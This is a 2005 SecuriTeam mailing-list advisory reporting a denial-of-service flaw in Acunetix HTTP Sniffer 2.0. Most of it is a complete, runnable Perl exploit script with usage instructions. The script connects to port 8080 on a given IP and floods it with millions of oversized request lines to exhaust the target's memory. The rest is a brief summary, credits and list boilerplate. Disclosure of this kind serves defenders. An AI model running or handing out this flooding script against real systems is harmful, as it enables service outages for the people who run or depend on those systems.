

# [NT] Acunetix HTTP Sniffer DoS

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0024.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 08/07/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 7 Aug 2005 17:13:43 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Acunetix HTTP Sniffer DoS

---

## SUMMARY

" <<http://www.acunetix.com/>> Acunetix Web Vulnerability Scanner (WVS) tests the security of your website by crawling it and launching popular attacks such as cross site scripting, sql injection and more. "

Acunetix HTTP Sniffer does not properly validate input as a result it is vulnerable to a denial of service vulnerability whenever a large amount of characters are captured by it.

## DETAILS

Vulnerable Systems:

\* Acunetix version 2.0

Exploit:

```
#!/usr/bin/perl
```

```
#
```

```
# Acunetix HTTP Sniffer DOS Exploit
```

```
# -----
```

```
# Infam0us Gr0up – Securiti Research
```

```
#
```

```
#
```

## Securiteam: [NT] Acunetix HTTP Sniffer DoS

```
# Tested on Windows2000 SP4 (Win NT)
# Info: infamous.2hell.com
# Vendor URL: www.acunetix.com

$ARGC=@ARGV;
if ($ARGC !=2) {
    print "\n";
    print " Acunetix HTTP Sniffer DOS Exploit\n";
    print "-----\n\n";
    print "Usage: $0 [remote IP] \n";
    print "Exam: $0 127.0.0.1\n";
    exit;
}

use IO::Socket::INET;

$host=$ARGV[0];
$port= "8080";

print "\n";
print "[+] Connect to $host.\n";
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto
=> 'tcp') || die "[-] Connection error$@\n";
print "[+] Connected\n";
sleep(1);

print "[+] Build buffer..\n";
sleep(1);
$hostname="Host: $host";
$bufy='A'x50;
$bufa='A'x8183;
$len=length($bufy);
$buff="GET / HTTP/1.1\r\n";
sleep(1);

print "[+] Sending request..\n";
send($sock,$buff,0) || die "[-] send error:$@\n";
print "[+] Send DOS..";
for($i= 0; $i < 2000000; $i++)
{
    $buff=" $bufa\r\n";
    send($sock,$buff,0) || die "send error:$@\n[*] Check if server
D0s'ed\n";
}

$buff="$hostname\r\n";
$buff.="Content-Length: $len\r\n";
$buff.=" \r\n";
$buff.=$bufy." \r\n\r\n";
```

Securiteam: [NT] Acunetix HTTP Sniffer DoS

```
print "[+] Now kill the process.\n";  
send($sock,$buff,0) || die "[-] send error:$@\n";  
print "[+] DONE..Server Out of Memory\n";  
close($sock);
```

#EOF

ADDITIONAL INFORMATION

The information has been provided by <mailto:basher13@linuxmail.org> Eric Basher.

The original article can be found at:

[http://k.domaindlx.com/shellcore/advisories.asp?bug\\_report=display&infamous\\_group=82](http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=82)  
[http://k.domaindlx.com/shellcore/advisories.asp?bug\\_report=display&infamous\\_group=82](http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=82)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.